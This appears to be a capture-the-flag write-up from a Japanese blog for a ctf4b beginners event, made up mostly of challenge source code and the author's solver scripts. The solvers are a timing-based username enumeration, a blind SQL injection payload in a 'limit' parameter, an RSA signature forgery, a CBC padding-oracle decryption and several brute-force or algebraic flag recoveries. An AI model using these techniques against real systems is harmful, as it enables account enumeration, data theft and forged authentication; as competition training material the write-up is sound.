st98 の日記帳

import os
import time

from flask import Flask, render_template, request, session

# Database and Authentication libraries (you can't see this :p).
import db
import auth

# ====================

app = Flask(__name__)
app.SALT = os.getenv("CTF4B_SALT")
app.FLAG = os.getenv("CTF4B_FLAG")
app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY")

db.init()
employees = db.get_all_employees()

# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
    
    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))

# ====================

@app.route("/challenge", methods=["GET", "POST"])
def challenge():
    t = time.perf_counter()
    
    if request.method == "GET":
        return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        answer = request.form.getlist("answer")

        # If you can enumerate all accounts, I'll give you FLAG!
        if set(answer) == set(account.name for account in db.get_all_accounts()):
            message = app.FLAG
        else:
            message = "Wrong!!"
        
        return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

# ====================

if __name__ == '__main__':
    db.init()
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

@app.route("/", methods=["GET", "POST"])
def index():
    ︙
    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

@app.route("/challenge", methods=["GET", "POST"])
def challenge():
︙
    if request.method == "POST":
        answer = request.form.getlist("answer")

        # If you can enumerate all accounts, I'll give you FLAG!
        if set(answer) == set(account.name for account in db.get_all_accounts()):
            message = app.FLAG

import requests
import time

THRESHOLD = 0.3
URL = 'https://(省略)/'

with open('employees.txt') as f:
  employees = [line.strip() for line in f.readlines()]

for employee in employees:
  t = time.time()
  requests.post(URL, data={'name': employee, 'password': 'neko'})
  if time.time() - t > THRESHOLD:
    print(employee)

import requests
URL = 'https://(省略)/?search=1&limit='
BASE = '(select%20ascii(substr(user,{},1))%26{})'

res = ''
i = 1
while True:
  c = 0

  for j in range(7):
    req = requests.get(URL + BASE.format(i, 1 << j))
    if 'Watch@Twitter' in req.text:
      c |= 1 << j

  res += chr(c)
  print(res)
  i += 1

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

import re
import sympy
from gauss import gauss # https://rosettacode.org/wiki/Gaussian_elimination#Python

# nc (省略) > a.txt
with open('a.txt') as f:
  coeffs1 = eval(f.readline())
  answers1 = eval(f.readline())

# nc (省略) > b.txt
with open('b.txt') as f:
  coeffs2 = eval(f.readline())
  answers2 = eval(f.readline())

L = 256
N = len(answers1)

answers = [x - y for x, y in zip(answers1, answers2)]
coeffs = [[coeffs1[i][j] - coeffs2[i][j] for j in range(N)] for i in range(N)]

A = []
b = []
for coeff, answer in zip(coeffs, answers):
  A.append(coeff)
  b.append([answer])

res = ''
for c in gauss(A, b)[1]:
  res += chr(round(c[0]))

print(''.join(c for c in res if c is not None))

from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except:
            sys.stdout.write('Error\n')
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()

import binascii
from decimal import Decimal
from Crypto.Util.number import *
from pwn import *

def sign(data):
  sock.recvuntil('> ')
  sock.sendline('1')
  sock.recvuntil('data>')
  sock.sendline(data)
  sock.recvuntil('Signature: ')
  return sock.recvline().strip()

def execute(data, sig):
  sock.recvuntil('> ')
  sock.sendline('2')
  sock.recvuntil('data>')
  sock.sendline(data)
  sock.recvuntil('signature> ')
  sock.sendline(sig)
  return sock.recvline().strip()

N = 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133
ops = b'7,191,*,F'
sock = remote('(省略)', 10001)

sig1 = int(sign(long_to_bytes(int(Decimal(bytes_to_long(ops)) / 2))), 16)
sig2 = int(sign(long_to_bytes(2)), 16)

sig = hex((sig1 * sig2) % N)[2:]
print(execute(ops, sig))

sock.close()

import base64
import json
import requests
from ptrlib.crypto.padcbc import padding_oracle

def decrypt(cipher):
  req = requests.post('http://(省略)/encrypt.php', data=json.dumps({
    'mode': 'decrypt',
    'content': base64.b64encode(cipher).decode()
  }), headers={
    'Content-Type': 'application/json'    
  })
  return 'result' in req.text

payload = base64.b64decode('CA/TNddwz0owdPVwzXp1Xf+M13taV/d4q8rgvZ+DfzbFGLPwiwRuBIFWQU7cPLm/sxy5a71ysmW0cHgtYpyEmg==')
cracked = padding_oracle(decrypt, payload, bs=16, unknown=b'?')
print(cracked)

import string
import subprocess

TARGETS = open('output.txt').read().split(' ')

known = 'ctf4b'
i = len(known)

while True:
  for c in string.printable.strip():
    try:
      output = subprocess.check_output('echo "{}" | ghostscript chall.gs'.format(known + c), shell=True).splitlines()
    except subprocess.CalledProcessError:
      continue
    output = output[3].split(' ')

    if TARGETS[i] == output[i]:
      known += c
      break

  print(known)
  i += 1

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")